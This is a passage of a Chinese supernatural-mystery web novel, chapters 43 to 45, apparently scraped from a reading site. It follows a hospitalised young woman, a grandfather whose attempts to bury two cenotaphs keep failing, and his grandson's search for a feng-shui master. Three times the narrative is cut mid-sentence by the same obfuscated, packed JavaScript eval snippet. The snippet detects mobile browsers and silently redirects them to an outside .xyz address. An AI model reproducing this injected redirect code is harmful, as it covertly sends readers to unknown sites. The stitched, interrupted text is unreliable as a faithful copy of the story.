本来许忠林就对她有所怀疑,她这三天打鱼两天晒网的,许忠林对她的怀疑与猜测会不会更甚呢? 不过她的担心都是白担心,因为下午江成过来看望她的时候,还顺便告诉了她一件事。 “许老先生说关于自传的采访先暂停一段时间,他最近要处理一些事情。” 处理一些事情? 颜珺瑶有些怀疑许忠林要处理的事情,会不会和沈小姐母女有关呢? 她有几天时间没和许修远联系了,不知道他那边是否有什么进展。 这么想着,她就拿起手机给许修远发了微信,这时,病房外突然响起了一声微信提示音。 紧接着,房门被敲响。 颜珺瑶问了一声,门外回答的居然是许修远。 她很疑惑,许修远怎么会知道她进了医院? “哦,进来吧!” 许修远进了病房,将礼品放到了一旁,就在病床边坐下。 “我碰到了江成,他告诉我你出了车祸。” 哦,原来如此,怪不得呢! 颜珺瑶笑起来,“没事,不严重,只是有点脑震荡,算是运气比较好。” 许修远的视线不经意地掠过颜珺瑶手臂上的擦划伤,暗暗叹了口气,想起她刚刚给自己发的微信,于是说道:“我最近一切正常,没有发生奇怪的事,你呢?” “我好像也没碰上什么事情,”颜珺瑶歪着脑袋努力回想,“对,应该是没有。” 许修远默了片刻,突然问道:“你发生车祸前,有没有看到什么?” 颜珺瑶很快反应过来许修远的意思,轻轻摇了摇头。 “没有,脑子很清醒,呼吸也很顺畅,没有出现之前的那些状况。当时的主要原因是对面的车闯红灯,带到我的电动车了,所以应该和小女孩没关系。幸好我命大,摔在了灌木丛里,不然可能会比现在严重。” 说完之后,她忍不住扬起嘴角,其实她的运气也不算太差! 许修远跟着笑了笑,她可真是天生的乐天派,这样的人幸福感会很强,也容易让身边的人感到轻松快乐。 他清了清嗓子,开口说道:“最近,我查到了一些信息。” “查到了什么?”颜珺瑶递过去一瓶苏打水。 “我可以确定小女孩是二太奶奶的亲生女儿,是我的三姑奶奶,而且,二太奶奶在三姑奶奶之前,还有过一个儿子,但不到——两岁,就夭折了。” “……” 颜珺瑶一下子瞪直了眼,“所以小女孩说的二哥哥就是你爷爷——” 蓦地,她的手机又响了,钱艺文打来的,颜珺瑶想吃的牛肉面面馆今天恰巧关门休息,问她想吃什么其他的。 “都可以,您就看着买吧,跟您一样。” 放下电话,颜珺瑶看向许修远,“沈小姐生了一儿一女,如果说旧时代不让二房上族谱,可她的两个孩子怎么会都没有记录呢?” 她抿抿唇,“会不会是被人改了?” 许修远认同,“嗯,你说的很有可能。” 最有可能修改族谱的,不是太奶奶,就是爷爷。 颜珺瑶有些好奇,“你是怎么查到沈小姐的儿子呢?” “我在许家的墓园里看到一个墓碑,上面的落款是‘父许天佑,母赵珺惠’,也就是我太爷爷和太奶奶。他比我爷爷大了两岁左右,但他不是我太奶奶所出,可却称呼她为母亲的,只能是二太奶奶的儿子,也就是我的大爷爷,他叫许承望。” “许承望——”颜珺瑶喃喃,“这名字真好听。” “嗯,确实挺好听的,”许修远叹了口气,突然想起另一件事,“我看到了那——” “轰隆”一声巨响,是打雷了。 颜珺瑶浑身一颤,不禁看了眼窗外,猛地愣住。 不知什么时候,天色已经暗下来了。 回头瞧了一眼手机,才五点左右,大概是要下雨了。 但不管怎么说,天就是快暗了。 颜珺瑶紧张地咽了咽口水,“咱们下次再聊吧,我想起来我——我要去找趟医生,差点就——忘了。” 许修远眉心微动,没有多说什么,只嘱咐她好好休息,便离开了。 等到病房里再次只有她一个人时,她双手合十对着虚空拜了拜,口中喃喃着:“别生气,别生气——和他没关系,没关系的——” *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049510|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许忠林派去的人,效率很高,短短几天之内,根据许忠林给出的线索,真的查到了沈新柔的老家,怀锦县底下一个名叫龙言村的地方。 虽然不知道沈新柔父亲的名字叫什么,但许忠林还记得对方的姓氏,根据姓氏,再加上又是木匠,又给人看过病,甚至还懂得阴阳风水,村子里确实还有上了年纪的老人记得他。 “哎,听说他们家很可怜啊,他媳妇儿生下儿子没几年就走了,他一个人把儿子拉扯大,之后也得了怪病死了,爹娘都死了,好像他大女儿都没回来过。” “那您知道他儿子现在在哪儿吗?” “他儿子也很惨啊,没了爹妈,就只能自己外出谋生,结果在出门的途中遭了意外也死了,那会儿好像才十几岁呢,太可怜啊!” “是啊,怪让人难受的,当时很多人都说是因为他给人算命看风水,泄露了太多天机,所以遭反噬了呀!哎,你还记得不,当时村里那户姓木的儿子不是还想拜他做师父嘛,幸好他拒绝了。要不然啊,姓木的儿子学了之后也到处给人算命看风水的,他们家估计也早晚要出事的。” “那您老知道他们家人都葬在哪里吗?” “还能在哪里,肯定是在山上呀!哎,不对,你们到底是谁啊,怎么突然要找他们家人,这都几十年没人提起他们家了。” “哦,我们算是远房亲戚,家里长辈让我们过来打听打听。” 村子不算很大,但人口不少,而且因为不怎么排外,所以村子里的姓氏比较杂,没什么正儿八经的族谱记载,虽然有人记着有一个大女儿,但叫什么却都不知道,也没族谱可查。 至于沈新柔的父母,在得知了都收葬在山上之后,许忠林的人几乎是把整座山搜了一遍,都没有找到两人的墓,甚至还迷了路,再跟村里人一打听,也没人知道他们夫妻俩的墓在什么方位。 “哎呀,不可能是被人迁走了,他们家都没人了,谁会来迁坟啊,而且这山上的墓就没怎么听说过有迁走的,一定是你们没找清楚。” 许忠林的人花钱请了两位村里人,又把山上搜了一遍,还是照样迷路,沈新柔母女及其父母的墓一个都没找到。 村里人还纳闷,这山上他们经常来,非常熟悉,怎么今天就迷路了? 得知这些情况之后,许忠林突地冷笑起来,他没想到的是,沈新柔的父母居然还有过一个儿子。 当年沈新柔可是口口声声说自己是家里的独女,可见她当时为了进许家,说了多少谎了,真不知道她嘴里有过一句实话没。 果然是做了恶事遭报应,连他们家无辜的小儿子都横死,他们家还是断子绝孙了。 眼下,既然没找到沈新柔母女真正的安葬处,那只能按赵敬鸿说的,把那两个小棺材给葬入许家的墓园。 赵敬鸿又给算了日子和时辰,到了这日,老天作美,万里无云,天气甚好。 前后四辆车子从许家老宅出发,许忠林坐在第二辆车里。 即使他有一万个不愿意,但为了能让沈新柔看到他的诚意,为了唯一的孙子,他只能忍了。 行至半路,突然晴空炸起了一个惊雷,须臾间,一颗颗豆大的雨珠砸到车玻璃上,从滴滴答答很快转变为噼里啪啦。 大雨倾盆而下,天地间很快一片朦胧。 许忠林心头一紧,闭了闭眼,让宗叔嘱咐前后车的人注意行车。 车速缓了下来,车距渐渐拉大,许忠林冷眼瞧着窗外,手上把玩着一块玉,心跳依旧很快。 车队马上要到许家墓园了,他越发攥紧了手上的玉,蓦地,他只觉得身子猛地往前倾了下,下一瞬又被安全带拽了回去。 车子突然停了下来。 许忠林不悦道:“老张——” 副驾驶座上的宗叔急忙回来看向许忠林,“先生,您怎么样?” 司机战战兢兢地转身,“许老,实在对不住,但——但头车停得太突然了,您没事吧——” 许忠林没听完他的话,吩咐宗叔道:“快问问什么情况!” 宗叔直接下了车,赵敬鸿也跟着下去,刚关上车门,就看到前车的人撑着伞,慌忙地跑到了宗叔面前。 “叔,过不去了,前面路上有棵树突然就倒下了,暂时没法过去了。” “突然就倒下了?” 43. 第 43 章 来人忙不迭点头,生怕宗叔不相信,“是啊,我们几个都亲眼看到了,如果不是您让车速放慢,估计得砸到了。” “我过去看看——” 赵敬鸿撑着伞,脚步匆匆地往前跑,果然看到了一棵大树倒在地上,横档在路中央。 “……” 紧跟着的宗叔不由地往后踉跄了两步才缓缓站定,他抬头,望向灰蒙蒙的天。 如果这不是天意,那就是——她的意思? 赵敬鸿从怀里掏出罗盘在四周转了转,脸色凝重地走到宗叔跟前,“今天怕是不行,现在得回去。” 两人快步回到车上,宗叔语气和缓把事情告诉了许忠林,许忠林额角的青筋瞬间浮现,手上的玉几乎快要被捏碎。 一旁的赵敬鸿立时安抚道:“许老,现在先回去吧,我会再想办法的。” “赵先生说得对,”宗叔将药和水递了过去,“总会有办法的。” 赵敬鸿接到了手上,“对,您先吃药,我们回去之后再商量。” 许忠林扫开了赵敬鸿伸到他面前的手,沉沉道:“不用吃药,现在掉头回去。” * 许家老宅的会客室,宗叔还是说服了许忠林,让他先吃了药。 赵敬鸿这才敢开口,“许老,她应该是——暂时不愿意进许家墓园。” “她还挑上了,她有什么资格!” “砰”的一声,许忠林重重放下了水杯,一旁的宗叔心惊胆战地,生怕他情绪太激动,出了什么问题。 就听许忠林继续说道:“活着的时候她就一直巴望着进许家,进来之后又努力讨好家里的长辈,不就是为了得到许家的认可吗?现在居然还嫌弃上了,真是可笑,她自己不想进祖坟,她女儿怎么也算是许家的血脉,她竟然不让自己的亲生女儿认祖归宗,简直和她爹一样。” “……”赵敬鸿动了动唇,还是闭上了嘴。 “我就不信了,这样的好事她还能真的拒绝,难道就一直想做孤魂野鬼?”许忠林瞥向赵敬鸿,“赵先生,你选一个最近的日子,再送一次。” 赵敬鸿一怔,和宗叔对视了一眼,宗叔和他一样,对于老爷子的这个决定,觉得并不妥当。 “许老,我想我还是先去——” “不用劝我,”许忠林抬起手,打断了他的话,“我决定了,要再送一次,如果她真有那么厉害,那就把我弄死吧!” * 许忠林固执地决定要把沈新柔母女送入许家的墓园,而颜珺瑶的父母也固执地想要让她多住几天院,多观察几天。 颜珺瑶在医院待了两天之后,自觉已经没事了,可以回家休养,但爸妈苦口婆心地劝,她也只能继续住下去。 周六傍晚,汤明山和张熙杰又过来看她,给她带了补汤过来。 看到汤爷爷的一瞬间,颜珺瑶突然就想起了一件事。 她放在包里的两个荷包,都不见了,也想不起来具体是什么时候不见的,但很有可能应该是在车祸那天。 那两个荷包,其中一个就是汤爷爷送她的,里面装着汤爷爷给的符,而另一个荷包则是她自己买的,用来装严婆婆给的那张符。 现在,两个都没了。 昨天晚上发现的时候,她真是胆战心惊,一晚上都没怎么睡好,翻来覆去的,也没敢关灯,把自己裹得严严实实的,生怕手脚露在外面。 她有些不好意思地看着汤明山,支吾着:“汤爷爷,我——我好像把您给我的荷包——给弄丢了?” 张熙杰正在倒汤,闻言扭过头,好奇道:“什么荷包?” “……”颜珺瑶咬了咬唇,“就是汤爷爷给我的平安符。” “爷爷,你挺偏心啊,你给我的平安符怎么都没用荷包装着呢!”张熙杰笑着道,随即将一碗汤塞到颜珺瑶手里,“阿姨回去做饭,应该没这么快过来,你先垫垫肚子。” 张熙杰原本只是玩笑而已,但颜珺瑶听了之后,愈发惭愧了,汤爷爷精心给她准备的东西,而且那个荷包还那么精美,她居然给弄丢了。 汤明山呵呵笑了,“不碍事,人没事就好,我再给你拿一个,明天让熙杰送过来。” 他看了一眼颜珺瑶手里的汤,“熙杰说你最喜欢莲子猪肚汤,所以给你带了这个,你尝尝熙杰妈妈的手艺。” “谢谢汤爷爷!” 颜珺瑶龇着牙笑起来,喜滋滋地把汤喝了。 临走时,颜珺瑶要送两人出去,汤明山不经意地又瞥了一眼床头柜上的保温桶,提醒道:“珺瑶,剩下的汤别忘了喝。” “嗯嗯,”颜珺瑶笑眯眯地,“我一定会都喝完的。” * 许修远又出差了,在颜珺瑶出车祸的第二天。 虽然颜珺瑶亲口告诉他伤得不严重,而且他也问过医生确实如此,但心里总是不踏实。 即使每天给她打电话,她说话的声音听起来确实依旧中气十足,可他就是莫名地觉得,这次她的车祸可能和他的三姑奶奶,或是二太奶奶有关。 也许颜珺瑶当时确实没被三姑奶奶影响,没有突然出现头晕眼花,甚至控制不了自己的情况,但不代表撞她的那个人没有。 出差这几天,他时不时就会想起上次在病房里,颜珺瑶让他先走,因为她要去找一趟医生。 这个理由真假与否并不要紧,重要的是当时她的反应。 她似乎是——看了一眼窗外,紧接着又查看了手机的时间,之后就让他走了。 她当时的神情变得很不自然,有紧张,有惊恐,他可以肯定她不是在怕他,因为她依然愿意和他接触,既然如此的话,她在害怕什么? 许修远也没问过颜珺瑶,因为如果可以说的话,她一定早就告诉他了,她不是喜欢故弄玄虚,藏着掖着的人。 这件事他还未想明白,就得知了家里的事情。 爷爷两次要将那两个衣冠冢葬入许家的墓园,可两次都半途而返。 第一次的缘由并不清楚,但第二次是因为发生了爆胎。 一次可能是意外,但连着两次都不能顺利将衣冠冢入土,他第一想到的是非自然力量造成的。 或许,二太奶奶或是三姑奶奶并不愿意葬入许家的墓园,这不是她们真正的诉求。 思虑再三,许修远决定提前回去。 回去的前一天下午,天就像裂了道口子,大雨如注,一直下个不停。 傍晚,许修远坐上车子回酒店,不知何时雨停了,他瞥了一眼车窗外,才发现云销雨霁,漫天霞光,绚丽动人。 这一刻,他突然明白了颜珺瑶真正害怕的原因。 是时间。 自从上次她在西餐厅握了玻璃碎片之后,他和她总共就见过两次,而且都是在白天。 特别是那次去张奶奶家之前,她特意强调了要白天去。 认识这么长时间,和她见面次数不多,但似乎只要是在晚上,或者是傍晚见面的时候,她都会出现不舒服的情况。 她的痛苦,很可能是三姑奶奶或是二太奶奶在惩罚她? 几乎每次她都在帮他,都在救他,她是在担心自己会被她们母女控制,最终伤害了他? * 许忠林无论如何也想不明白,沈新柔母女为什么不愿意进许家的墓园。 第一次是大树斜阻,而第二次则更严重,头车突然间就爆胎了,多亏了司机技术好,反应及时,只撞坏了车头,车上的人幸好都无碍。 他不得不承认,沈新柔母女确实厉害,而她们的目标不是他这个老头子,否则前天爆胎的就应该是他坐的车。 她们母女的真正目标是许修远,许家仅存的血脉。 一想到这里,许忠林既是惊怕,又是愤怒。 当年的一切,和许家这些无辜的后辈有什么关系,难道她们母女不是许家人吗?沈新柔女儿身上不是流着许家的血吗?为什么要做到这种程度?为什么要执迷不悟? 书房的门被敲响了,宗叔带着赵敬鸿走了进来。 “怎么样?对方什么时候可以来帮忙?” 赵敬鸿慢条斯理地在沙发上坐下,舔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053639|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下唇,才说道:“汤老先生说他已经——收山了。” “收山?”许忠林哼了一声,“为什么收山了?难道是嫌给的钱太少?” 他深吸了口气,“赵先生,麻烦你再联系联系这位汤老先生,让他开个自己满意的价,其他条件也可以提。” 赵敬鸿轻咳一声,为难道:“许老,我跟汤老先生说过了,他——不愿意。” “不愿意?为什么不愿意?” 许忠林腾地站了起来,在书房里走了两个来回,嘴里喃喃着。 蓦地,他停了下来,突然又冷笑了一声,看向宗叔,“他总有弱点,他的家人总会想要什么,总有办法能打动他,让他心甘情愿地答应。” 宗叔会意,点点头,很快离开了书房。 许忠林再次坐下,赵敬鸿倒了杯茶,放在他面前。 “毕老先生身体如何了?哪天我亲自去看望他。” “我师傅前天的手术,很成功,就是现在精力大不如前,走路也不太方便。” 赵敬鸿不禁叹了口气。 毕文启虽说是他的师父,但和父亲无异,他从小就跟在师父身边长大,师父对他毫不藏私,倾囊相授。 但不得不承认的是,虽然他有一定的天赋,师父也这么说过,不过天赋与天赋之间,还是有差别的,所以他的能力就是不如师父。 上次许忠林要送第二次,但却发生了爆胎,幸亏没有人受伤,之后许忠林也不再坚持。于是赵敬鸿便去问了师父,令他意外的是,师父一听就摇头表示他没有能力能破了许家后院的阵法,即使是在他身体还健康的时候也不能。 不过师父给他推荐了一个人,汤明山。 赵敬鸿之前听师父提过一两次这个名字,印象并不深,但现在师父却告诉他,汤明山的能力远在他之上,让他可以去找找对方,汤明山应该是能解决许家的问题。 可谁能想到,汤明山是个固执的老头,不愿意就是不愿意,真是令他又无奈又佩服。 毕竟财帛动人心,可汤老先生却丝毫不为所动,难怪师父说他牛心左性,勉强不得。 赵敬鸿刚才听到许忠林的话,其实想开口劝阻,如果汤老先生知道了许忠林调查他以及他的家人,应该更不会答应。 但他也知道许忠林现在心里的焦虑,最后还是闭了嘴。 * 许修远一下了飞机,直接驱车前往医院。 到了病房外,刚抬起手,就注意到里面有说话声,而且还兴高采烈的。 仔细一听,不禁失笑,原来是在打扑克牌。 敲了敲门,里头很快传来颜珺瑶的声音,“请进,请进!” 另一个中年男人的声音几乎同时响起,“都不问问是谁,我去看看——” 许修远想要推门的动作戛然而止,不过很快病房门就从里面打开了。 站在在他面前的是一个和颜珺瑶有几分神似的儒雅男人,应该就是她的父亲,颜志华。 只见对方神色微讶,笑着问了一句:“请问你是?” “爸,谁啊?” “叔叔,您好,我是珺瑶的朋友。” 颜珺瑶和许修远两人的声音几乎同时传入了颜志华的耳中,他往旁边让开,笑着把许修远请进了病房。 颜珺瑶正抓着一手的牌,考虑着这轮要不要叫地主,没曾想许修远居然又来看她了。 她十分惊喜,“你出差回来啦!” “嗯,你好些了吗?” “我没事啦,很快就能出院了。” 颜志华将一瓶苏打水递给许修远,又把扑克牌给收拾起来,笑着对许修远道:“别客气,请坐——” 又拿着手机向颜珺瑶示意,“你们聊,我出去回个电话。” 颜珺瑶知道这是老爸给他们腾出说话的空间,冲他嘿嘿笑了笑。 病房门再次关上,只剩下颜珺瑶和许修远两人。 颜珺瑶突然想起什么,“哎,你不是说后天才回来吗?” “嗯,有点事情,所以提前回来了。” 44. 第 44 章 颜珺瑶觉得自己现在是惊弓之鸟,许修远的这句话又让她的脑子胡思乱想起来。 她咽了咽口水,紧张道:“是不是——是不是你在那边又碰到了那个——小女孩?” “没有,这几天挺顺利的——”许修远略一犹豫,决定还是不要在她住院期间让她烦心,“都挺好的。” “那就好。”颜珺瑶心头一松,“平安符要记得戴啊!” 许修远笑起来,“嗯,我一直待在身上。” 说着就从外套内兜里把平安符拿了出来给她看。 颜珺瑶笑眯眯地,突然想起了什么,打开了话匣子,和许修远闲聊起来。 “我前几天发现我包里装平安符的荷包不见了,而且两个都不见了,给我紧张的。而且其中一张平安符连带着荷包还是邻居爷爷送我的,荷包非常精致,跟我买的那个一对比,真是天差地别,太可惜啦!不过——” 她扬起嘴角,“我现在又有了一个,给你瞧瞧——” 说着,就从床头柜上拿过包,从侧兜里掏出一个荷包,递到许修远面前。 许修远拿到手上一瞧,荷包确实精致,上面的如意纹不是印染,而是绣上去的,针脚细密,用料讲究,色彩淡雅。 “很好看,很适合你用。”许修远将荷包递回,“之前那两个是车祸那天丢的吗?” “应该是,住院之后我才发现的,那天我摔了出去,我的包也飞出去了,估计荷包是被甩出去了还是怎么的,反正就是没了。不过幸好那天碰上了汤爷爷,他很细心,不仅打了120,报了警,还一直守着我,我的包也是他帮我捡回来的,如果没有他,也许就被人捡走了。” 许修远蓦地想到了什么,“珺瑶,你刚才说你邻居爷爷也给了你一张平安符,这个新荷包还有里面新的平安符,也都是他给你的,他是——从事什么的?” “汤爷爷是个木匠,不过也懂阴阳风水,以前有不少人请他帮忙,蛮厉害的。” 颜珺瑶拧开了一瓶水,喝了一口,“我之前特意回老家找他,他就给了我平安符,说我确实碰上了那些事,但不会有生命危险,只要熬过去了,以后就会平安顺遂。” 许修远略略沉思,“珺瑶,我想麻烦你帮我问问这位爷爷,是否能和他见一面。” “可以,我先问问他。” 颜珺瑶拿起手机拨号,对面很快接通。 在听到汤明山的声音时,她心头一个咯噔。 前几天她问过张熙杰,张熙杰表示汤爷爷的检查结果没什么太大问题,可汤爷爷今天的声音比起之前他来医院看她时,显得虚弱,而且更为中气不足。 “汤爷爷,您身体还好吗?” “我没事,你才要注意休养。”汤明山的声音有些沙哑,呵呵地笑起来,“打电话是要问什么吗?” “……”颜珺瑶顿了顿,“我一个朋友想和您见个面,不知道您方不方便呢?” “呵呵,珺瑶啊,如果是找我看事的,那我得说声抱歉了,我现在身体吃不消了,也没有体力了,处理不了任何事了。” 结束通话,颜珺瑶抿了抿唇,轻咳一声,抱歉地看向许修远,“不好意思啊,汤爷爷说他现在身体不好,没办法帮人看事了。” 许修远温和一笑,“没事,老人的身体要紧。” 颜珺瑶垂眸,又喝了口水。 之前许修远说过,他爷爷身边跟着一位非常信任的阴阳先生,家里的事情都是这位先生在处理,就是之前她见过的那位赵敬鸿先生。 而现在他突然要另外找一位先生—— 既然他说自己这段时间一切都正常,那么就有可能是他家里出了事。 “许修远,是不是——你家里出了什么情况?” 许修远不禁笑了,她真的很聪明。 既然她问了,他只能告诉她,但还是选择了不那么诡异的,其他的,等她出院再说。 “嗯,三楼那个房间的窗玻璃裂了,后院的地面也出现了一条裂缝,这些事情我爷爷不让我参与,没法了解具体情况,所以我想另外找位先生问一下。” 颜珺瑶听完,心跳地跟擂鼓一般,头皮发麻,只觉得自己的后背冷飕飕的。 “我之前见过的那位严婆婆,她确实有能力,听说基本上所有去找她的都是要请神,不知道其他方面是否擅长,如果你找不到合适的人,可以考虑一下严婆婆。” 说着,颜珺瑶就把联系方式和地址发给了许修远。 许修远正要保存号码,却发现,自己手机里已经保存过这个手机号。 他这才想起来,李娜休产假前,就曾跟他提过这位严婆婆。 许修远离开病房后,颜珺瑶就躺了下去,裹紧了被子,青天白日,朗朗乾坤,她身上的冷意还是止不住。 颜志华离开病房之后,就直接回家带了午饭过来,吃过午饭之后,颜珺瑶让爸爸不用陪着他,回去好好休息。 其实她甚至觉得都不用送饭,爸妈一天三趟的来回跑,太辛苦了,她可以直接在医院食堂吃。 老爸被劝回去之后,颜珺瑶沉沉地睡了过去,不知睡了多久,她被手机铃声惊醒了。 是学姐杨薇打来的,说是听说了她住院,所以来看看她,人已经在住院部楼下了。 颜珺瑶挺喜欢学姐的,认识以来杨薇对她颇多照顾,只是她有些奇怪,学姐怎么也知道她住院了呢? 她只跟公司请过假,其他人都没说过呀! 颜珺瑶下床洗了个脸的功夫,杨薇就到了。 寒暄关心过后,颜珺瑶才知道杨薇也是今天刚出差回来,而且是和许修远一起出差的。 不知为何,她总觉得学姐看自己的眼神不太对劲,闲聊了几句才明白过来。 哦,学姐以为许修远和她已经在一起了。 殊不知他其实是她的难友,而不是男友。 “我们许总这趟出差,匆匆忙忙地提前回来了。” “哦。”她知道,而且她更知道的是,许修远不是因为她住院才提前回来的。 “他还特意去了一趟拍卖会,拍下了一整套的红宝石首饰带回来,不仅如此,他还专门去见了一位珠宝设计师,也定做了首饰。” “嗯。”但不是送给她的呀喂,学姐,醒醒啊! 而且,你把你们许总的私事就这样告诉别人,恐怕不合适吧,学姐!快醒醒啊! “珺瑶,”杨薇微微凑近了颜珺瑶了,即使现在病房里只有她们两个人,但也一副担心被人偷听的架势,“你和我们许总啥时候认识的啊?” 颜珺瑶眨眨眼,好吧,原来这么长时间,她还在好奇这件事。 杨薇也冲她眨了眨眼,她实在好奇呀,这么长时间,她居然什么都没打听到。公司里的其他人都不清楚,唯一了解情况的是许修远的助理何文旭,但他的嘴比蚌壳还难撬开,一丝一毫都不透露。 女主角是她认识多年的学妹啊,她怎么能不好奇呢! 颜珺瑶认真脸:“我跟许修远因为一个误会认识的,现在就是——普通朋友。” “……” 怎么可能?要是普通朋友,怎么可能一下飞机就过来看你? 而且我问的是啥时候认识的,你说什么普通朋友呢!不知道有个成语叫此地无银三百两吗? 好吧,今天没白来,得到正主验证了! 杨薇笑得意味深长,“嗯,挺好的,许总是个挺好相处的人,对朋友很上心的。” “?” 颜珺瑶想给自己一巴掌,自己好像越描越黑了。 * 难友许修远,从医院离开后,直接回了老宅。 许忠林见到他突然回来,又惊又喜。 “不是说至少要到后天吗?怎么提前了?”他仔细打量了一番许修远,突然叹了口气,“有些瘦了,你应该回去休息,不用过来看爷爷的。” 许修远喝了口茶才道:“爷爷,听说前几天家里有辆车突然爆胎,出车祸了,没有人受伤吧?” “……” 许忠林微微变了脸色,“车子撞坏了而已,人都没事。” “怎么突然爆胎了,是太久没开那辆车,出发之前忘了检查,还是路况不好,途中轧到什么尖锐的东西,或是——” “就是个意外而已,”许忠林用力地将杯子放回茶几上,打断了他的话,“谁都不希望发生。对了——” 他转移了话题,“今天你杨爷爷八十大寿,既然回来了,晚上就跟我一起过去。” 傍晚六点,爷孙俩准时到了寿宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059003|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒店。 许家和杨家算是世交,杨家老爷子杨占的祖籍是外省,最初过来发展的时候,没少被人欺负打压,许忠林看不过,出手帮过他,之后两家就来往不断,彼此帮扶。 不仅许忠林和杨占是莫逆之交,杨占的孙子杨弘博也是许修远的好友。 杨弘博眼尖,第一时间注意到了许家爷孙到场,和爷爷亲自将两人迎入内。 酒宴过后,爷孙俩都没有立刻离开,许忠林和杨占相谈甚欢,杨弘博则拉着许修远去了楼上的年轻人专场。 许修远和在场的朋友打过招呼之后,对那些游戏牌局兴趣寥寥,便找了个借口到露台躲清静。 杨弘博拿着两杯红酒晃到他身边,“你今天刚回来吧!” “嗯,早上的飞机。” “够哥们!”杨弘博和许修远碰了下杯,“你说这老头子多有意思,前一段时间还吵吵着自己活不到八十大寿,好长时间茶不思饭不想的,还老说梦到了我太奶来接他,你看他今天不知道有多高兴。” 许修远不禁笑了笑,“杨爷爷看起来身体还很硬朗。” “他身体确实没毛病,每次我都陪着他去医院检查的。他是因为几十年前一位先生和他说过的话才会这样的,说什么五十岁和八十岁是他的两个坎,要是都过了,至少能长命百岁。” 先生? 许修远一愣,“阴阳风水方面的先生?” “嗯哼,”杨弘博扬了扬眉,“我爷爷五十岁的时候确实生了场大病,很凶险,听说差点没挺过来。还不等我们家去请,那位先生就先找到了我们家,让我爷爷要花钱续命,才能度过这一劫。” “花钱续命?”许修远听着,怎么觉得有点像骗钱的? “当时我爸刚听到这话,也以为这先生是来骗钱的,结果先生说,他不要钱,我爷爷三十岁找他的时候已经给过钱了,他不能再收,而是让我们家给福利机构捐钱。我爸将信将疑,捐了有一千万,两天后我爷爷挺过来了。” 杨弘博晃了晃酒杯,“老爷子好了之后,别提有多信任他了,于是又请他给我爸算了,现在想来相当准了。” “怎么说?”许修远来了兴致。 “那位先生说我老头婚后会有桃花劫,如果一意孤行,活不过三十五岁。他的事你应该也知道,我刚两岁的时候,他就和一个二十多岁的年轻女人勾搭上了,给她买房买车的。我爷爷知道后,把他打进了医院,让人一直看着他。 这俩不要脸的当时是约好要出国度假的,我爸失约了,那个女的联系不上我爸,更找不到他,就一个人跑到了国外,拿着我爸的卡哐哐哐一顿刷,结果在国外出车祸死了。” 杨弘博将杯里的酒一饮而尽,意味深长道:“那年我爸就是三十五岁,如果不是我爷爷把他看管了起来,也许他就和那个女的一起死在了国外,从此之后就老实了。” “确实厉害,那这次杨爷爷是因为请不到这位先生所以苦恼吗?” 杨弘博哈哈笑起来,“你还真说对了,他就是觉得自己八十岁的这一坎应该和五十岁那年差不多,肯定会生什么病或出什么事,所以大半年前就又去请了那位先生。 不过先生拒绝了,只嘱咐他戒烟戒酒即可。一个月之后,老爷子真就做了心脏支架,恢复地很好,但禁不住他胡思乱想,今天总算是乐了!” 许修远一愣,原以为杨爷爷的苦恼是因为这位先生已经不在了,原来还好好的。 “这位先生今年高寿?” “小时候我见过一次,看着比我爷爷年轻,应该比他小几岁。” 比杨爷爷还小几岁! 杨爷爷三十岁的时候就请过他,那这位先生二十多就能算得如此准,相当厉害了。 许修远略一沉吟,“先生叫什么名字?” “应该是姓唐,他很低调,我爷爷五十岁那次,醒来之后为了感谢他,给了一张卡,他却不要,说什么不该拿的不能拿,否则无福消受,还可能反遭其噬。我爷爷过意不去,就说要把朋友介绍给他,他还是拒绝了。先生性子还挺古怪的,不愿意出名,所以我爷爷之前也没跟别人提起过他,担心打扰他,惹他不快。” 许修远望着杯中的红酒,沉默了良久,“弘博,你知道这位先生的住处吗?” 45. 第 45 章 深夜十一点多,许修远接到杨弘博的电话,对方很是兴奋。 “修远,我可是费了老鼻子劲儿,才把老爷子哄好,拿到了手机号和地址,回头可得请我吃饭啊!” 许修远失笑,“成!” “不过呢,你去的时候记得叫上我,我也想见见汤先生,让他帮我算算我啥时候能娶上媳妇儿,我刚跟我爷爷吹牛来着,说我明年就能让他当太爷爷,我这张嘴啊!” “好,我明天早上就——”许修远突然顿住,“弘博,你刚才说的是——汤先生还是唐先生?” 杨弘博一拍脑门,“哦哦,差点忘了跟你说呢,我爷爷那个口音,我真是醉了,人明明姓汤,汤明山,他嘴里说出来就是唐,敢情这么多年我都听错了。” “他是哪里人?” “在底下乡镇,开车下去也就一个多钟头。”随后杨弘博报了个地址。 许修远暗暗叹气,这个地址就在颜珺瑶老家的。 